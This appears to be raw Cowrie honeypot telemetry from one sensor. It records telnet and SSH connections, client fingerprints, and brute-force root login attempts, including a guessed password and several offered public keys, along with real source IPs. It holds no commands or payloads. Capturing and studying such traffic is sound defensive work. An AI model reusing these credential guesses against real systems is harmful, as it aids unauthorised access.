{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35386,"dst_ip":"10.17.0.5","dst_port":23,"session":"bcdfb75d0ced","protocol":"telnet","message":"New connection: 152.42.224.71:35386 (10.17.0.5:23) [session: bcdfb75d0ced]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:00:36.084249Z"}
{"eventid":"cowrie.session.closed","duration":12.801724433898926,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:00:40.833285Z","src_ip":"189.245.108.14","session":"963a6a6e02a7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35396,"dst_ip":"10.17.0.5","dst_port":23,"session":"ea10a8195651","protocol":"telnet","message":"New connection: 152.42.224.71:35396 (10.17.0.5:23) [session: ea10a8195651]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:00:41.695508Z"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":36562,"dst_ip":"159.203.135.109","dst_port":22,"session":"f0dc861e6d2b","protocol":"ssh","message":"New connection: 77.94.47.83:36562 (159.203.135.109:22) [session: f0dc861e6d2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:00:51.700991Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:00:51.706421Z","src_ip":"77.94.47.83","session":"f0dc861e6d2b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:00:51.831030Z","src_ip":"77.94.47.83","session":"f0dc861e6d2b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"satan666","message":"login attempt [root/satan666] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:00:52.207448Z","src_ip":"77.94.47.83","session":"f0dc861e6d2b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47548,"dst_ip":"10.17.0.5","dst_port":23,"session":"b3fa948bce76","protocol":"telnet","message":"New connection: 152.42.224.71:47548 (10.17.0.5:23) [session: b3fa948bce76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:00:53.076747Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:00:53.336946Z","src_ip":"77.94.47.83","session":"f0dc861e6d2b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47564,"dst_ip":"10.17.0.5","dst_port":23,"session":"c0742964b693","protocol":"telnet","message":"New connection: 152.42.224.71:47564 (10.17.0.5:23) [session: c0742964b693]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:00:54.320276Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52202,"dst_ip":"10.17.0.5","dst_port":23,"session":"cabacf85e60c","protocol":"telnet","message":"New connection: 152.42.224.71:52202 (10.17.0.5:23) [session: cabacf85e60c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:01:06.043651Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57508,"dst_ip":"10.17.0.5","dst_port":23,"session":"d52b2c2da53e","protocol":"telnet","message":"New connection: 152.42.224.71:57508 (10.17.0.5:23) [session: d52b2c2da53e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:01:16.230077Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.245.225.106","src_port":37610,"dst_ip":"10.17.0.5","dst_port":22,"session":"9dcdf523a7c5","protocol":"ssh","message":"New connection: 172.245.225.106:37610 (10.17.0.5:22) [session: 9dcdf523a7c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:01:16.675198Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:01:16.680953Z","src_ip":"172.245.225.106","session":"9dcdf523a7c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:01:16.725178Z","src_ip":"172.245.225.106","session":"9dcdf523a7c5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6e:cf:f1:b0:ff:e3:60:71:24:98:ad:aa:93:58:2a:f7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCgufcqa+pz5Yb1udQWTEjb7bq1wt/ICbNgWdK8xfkir1IK/NAW84cqSuVLA9KXIivu7+0b1TLoDtrciMLI3tjPM5hY7cTx8b2ZhPlqqJKtTzgx5oHT3oNlqsIpsCB3I1bOgZQJ8mIRBpGvZBF0V8ocF3tBRxpJtfE6nOJ3zojnP1BxaUyLDW9ZsXf2aQFoIXOH2f5/TvZoRobO7dWHvcstlMn/h7sF5aRHqa/01QzPf7JB742Z2VtNBjXF0kIeRCx79FSbswIqju1kP1uaZdadr+SgWRN80yEECmWe0W2dAQVfpDg0GuKnOGbYwD/PfYPb/ojFf2eppM4m4vdZbVKl","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6e:cf:f1:b0:ff:e3:60:71:24:98:ad:aa:93:58:2a:f7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:01:16.917978Z","src_ip":"172.245.225.106","session":"9dcdf523a7c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6e:cf:f1:b0:ff:e3:60:71:24:98:ad:aa:93:58:2a:f7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCgufcqa+pz5Yb1udQWTEjb7bq1wt/ICbNgWdK8xfkir1IK/NAW84cqSuVLA9KXIivu7+0b1TLoDtrciMLI3tjPM5hY7cTx8b2ZhPlqqJKtTzgx5oHT3oNlqsIpsCB3I1bOgZQJ8mIRBpGvZBF0V8ocF3tBRxpJtfE6nOJ3zojnP1BxaUyLDW9ZsXf2aQFoIXOH2f5/TvZoRobO7dWHvcstlMn/h7sF5aRHqa/01QzPf7JB742Z2VtNBjXF0kIeRCx79FSbswIqju1kP1uaZdadr+SgWRN80yEECmWe0W2dAQVfpDg0GuKnOGbYwD/PfYPb/ojFf2eppM4m4vdZbVKl","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:01:16.926032Z","src_ip":"172.245.225.106","session":"9dcdf523a7c5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"54:cd:e2:3b:c6:fb:f4:1c:66:23:d0:65:2a:f1:b8:47","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDQBKq7xUXLbkE/4FYjJhy+TC/XJ0Qp92Kb3jRmqLnMfrQttadGBXciqvpppqliuiPHdqr6CG0fPiKYobww2840H2DdW7VptKaXDTCg23RmxAcNbRfQNq8YWHRtlE+t1bz7G1V9M+/rG7G7wlzT2gAQeu1taAgdYUDcb8j84ql5uke6yXB4700lzPzeMHT+/WAMF1MOWc5D8iaBUkL3vHli6tLRSGNAwY13zwecZZenQM2Bd0RILxxuqFItDW13gVQkWjyPH3FXx5AKxyGdm3z+TCu6egGK3NucBw+A5buYZrlsED+RcFQItg1FBivlc+UtecpF6ln+ybO3CuN7qM0r","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 54:cd:e2:3b:c6:fb:f4:1c:66:23:d0:65:2a:f1:b8:47","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:01:16.970090Z","src_ip":"172.245.225.106","session":"9dcdf523a7c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"54:cd:e2:3b:c6:fb:f4:1c:66:23:d0:65:2a:f1:b8:47","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDQBKq7xUXLbkE/4FYjJhy+TC/XJ0Qp92Kb3jRmqLnMfrQttadGBXciqvpppqliuiPHdqr6CG0fPiKYobww2840H2DdW7VptKaXDTCg23RmxAcNbRfQNq8YWHRtlE+t1bz7G1V9M+/rG7G7wlzT2gAQeu1taAgdYUDcb8j84ql5uke6yXB4700lzPzeMHT+/WAMF1MOWc5D8iaBUkL3vHli6tLRSGNAwY13zwecZZenQM2Bd0RILxxuqFItDW13gVQkWjyPH3FXx5AKxyGdm3z+TCu6egGK3NucBw+A5buYZrlsED+RcFQItg1FBivlc+UtecpF6ln+ybO3CuN7qM0r","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:01:16.974261Z","src_ip":"172.245.225.106","session":"9dcdf523a7c5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"03:af:bd:cc:d7:a9:4b:cf:d4:be:57:c5:1c:03:1b:32","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOw6vhtWO8IKxevSoDPgXJ29E8UHgQhceeDg/cV80Ra2","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 03:af:bd:cc:d7:a9:4b:cf:d4:be:57:c5:1c:03:1b:32","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:01:17.017839Z","src_ip":"172.245.225.106","session":"9dcdf523a7c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"03:af:bd:cc:d7:a9:4b:cf:d4:be:57:c5:1c:03:1b:32","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOw6vhtWO8IKxevSoDPgXJ29E8UHgQhceeDg/cV80Ra2","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:01:17.021854Z","src_ip":"172.245.225.106","session":"9dcdf523a7c5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ab:00:32:b9:70:90:54:73:29:a7:2c:64:a5:43:6b:60","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDPTpCsxXZfHMuilMcwpDtu9wqLZ7gV0QlTEF5+7tvkdcXQDSQi9zQJoPAUAihC34OqQPSAXgfYXy6YW1Ju6jo9oyAaJJXmxmhpC40TUyUMFU+rZ/c1NmFMrm+0kpVEDGxbVRwrNdm0qXb5uI5LeqYBSxZ3gsOefHC6wBf7FFJJpA6PHN4yKunNSLwYjvD1DCvCbN2YxluqJhwbs+U62jYp5TviInN0dPBRLOnUD3v6buS2DE/YBfDi4F1Mwe4ny8pvBzt+FTK9fkKU0yQCdCegBiooPmW7Bs2Y5MpWaodKdU7LXjcRFS6jGAiJZ28W2sQ/Ib9kxdBGXo9eY/eE02hP","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ab:00:32:b9:70:90:54:73:29:a7:2c:64:a5:43:6b:60","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:01:17.066879Z","src_ip":"172.245.225.106","session":"9dcdf523a7c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ab:00:32:b9:70:90:54:73:29:a7:2c:64:a5:43:6b:60","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDPTpCsxXZfHMuilMcwpDtu9wqLZ7gV0QlTEF5+7tvkdcXQDSQi9zQJoPAUAihC34OqQPSAXgfYXy6YW1Ju6jo9oyAaJJXmxmhpC40TUyUMFU+rZ/c1NmFMrm+0kpVEDGxbVRwrNdm0qXb5uI5LeqYBSxZ3gsOefHC6wBf7FFJJpA6PHN4yKunNSLwYjvD1DCvCbN2YxluqJhwbs+U62jYp5TviInN0dPBRLOnUD3v6buS2DE/YBfDi4F1Mwe4ny8pvBzt+FTK9fkKU0yQCdCegBiooPmW7Bs2Y5MpWaodKdU7LXjcRFS6jGAiJZ28W2sQ/Ib9kxdBGXo9eY/eE02hP","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:01:17.071117Z","src_ip":"172.245.225.106","session":"9dcdf523a7c5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4b:19:f6:3b:3a:3f:63:65:a2:63:a9:cb:aa:38:a0:a1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEAw6piJVDzoZtXf9Nk6Y2YAZZ6H00C7VB4xpSZYyPu/I8HJvO/iKgtqiQxCg/pqFRZiGJau34/qJUpTzoOxrV8sDpbYVzFFWe9097f2ZpsSUA5fcmzh5HC3ItnVLp4cJvForGfWb4uFPsKBKxMb8z4nL12LUKOU9Yuj3+179SMuDk=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4b:19:f6:3b:3a:3f:63:65:a2:63:a9:cb:aa:38:a0:a1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:01:17.115015Z","src_ip":"172.245.225.106","session":"9dcdf523a7c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4b:19:f6:3b:3a:3f:63:65:a2:63:a9:cb:aa:38:a0:a1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEAw6piJVDzoZtXf9Nk6Y2YAZZ6H00C7VB4xpSZYyPu/I8HJvO/iKgtqiQxCg/pqFRZiGJau34/qJUpTzoOxrV8sDpbYVzFFWe9097f2ZpsSUA5fcmzh5HC3ItnVLp4cJvForGfWb4uFPsKBKxMb8z4nL12LUKOU9Yuj3+179SMuDk=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:01:17.119526Z","src_ip":"172.245.225.106","session":"9dcdf523a7c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:01:17.165568Z","src_ip":"172.245.225.106","session":"9dcdf523a7c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57524,"dst_ip":"10.17.0.5","dst_port":23,"session":"51c82ee33ea6","protocol":"telnet","message":"New connection: 152.42.224.71:57524 (10.17.0.5:23) [session: 51c82ee33ea6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:01:25.421815Z"}
{"eventid":"cowrie.session.closed","duration":34.06802535057068,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:01:28.387804Z","src_ip":"152.42.224.71","session":"c0742964b693","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.78315234184265,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:01:29.859811Z","src_ip":"152.42.224.71","session":"b3fa948bce76","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.43673825263977,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:01:32.132106Z","src_ip":"152.42.224.71","session":"ea10a8195651","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46408,"dst_ip":"10.17.0.5","dst_port":23,"session":"6136d9768f0e","protocol":"telnet","message":"New connection: 152.42.224.71:46408 (10.17.0.5:23) [session: 6136d9768f0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:01:33.171572Z"}
{"eventid":"cowrie.session.closed","duration":13.3197660446167,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:01:38.741483Z","src_ip":"152.42.224.71","session":"51c82ee33ea6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53876,"dst_ip":"10.17.0.5","dst_port":23,"session":"8a10b970b3c9","protocol":"telnet","message":"New connection: 152.42.224.71:53876 (10.17.0.5:23) [session: 8a10b970b3c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:01:42.805689Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38184,"dst_ip":"10.17.0.5","dst_port":23,"session":"b7b0815d5e49","protocol":"telnet","message":"New connection: 152.42.224.71:38184 (10.17.0.5:23) [session: b7b0815d5e49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:01:50.522782Z"}
{"eventid":"cowrie.session.closed","duration":112.93491792678833,"message":"Connection lost after 112 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:01:54.747763Z","src_ip":"152.42.224.71","session":"61fea53fad8e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44274,"dst_ip":"10.17.0.5","dst_port":23,"session":"a25965c8c52d","protocol":"telnet","message":"New connection: 152.42.224.71:44274 (10.17.0.5:23) [session: a25965c8c52d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:02:03.198733Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.222.138.254","src_port":33040,"dst_ip":"10.17.0.5","dst_port":22,"session":"add54da31847","protocol":"ssh","message":"New connection: 185.222.138.254:33040 (10.17.0.5:22) [session: add54da31847]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:02:10.050917Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:02:10.056485Z","src_ip":"185.222.138.254","session":"add54da31847","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:02:10.168918Z","src_ip":"185.222.138.254","session":"add54da31847","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"71:59:e5:6f:51:32:fe:09:46:fb:e4:34:48:20:4c:76","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCtL+mAC7CgFrjdAyyRo6navzosZ8OyNFmhnCqOj7YIE5se+esWlIP7FSY8s3JInfrL1Ak9gyvXd8L7WYMlwKaFEZymlE8vy9wwyhLMNIk4HhltVXfKDOkjhZyKt9L/W899J0Nz4s9t8ZEZld3pgqLOh4+peki76YxHu4g3Yd0Lucwr/orVL55MEPQ2Q5BRk+fB85iHOjP1XXi2PfO/0JmvmU3VTABJPiVLrzhvPFR4jT5XV/Iiu+jydbHRzdJaHWCV5xU7eGBO7vTZ0GlMAILoTm8tnPZYYMs31GMiG95dyMpbNiDf4gc26YrF1giR5UTbrsg5gxEjpfze6nYD6lb/","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 71:59:e5:6f:51:32:fe:09:46:fb:e4:34:48:20:4c:76","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:02:10.703537Z","src_ip":"185.222.138.254","session":"add54da31847","protocol":"ssh"}
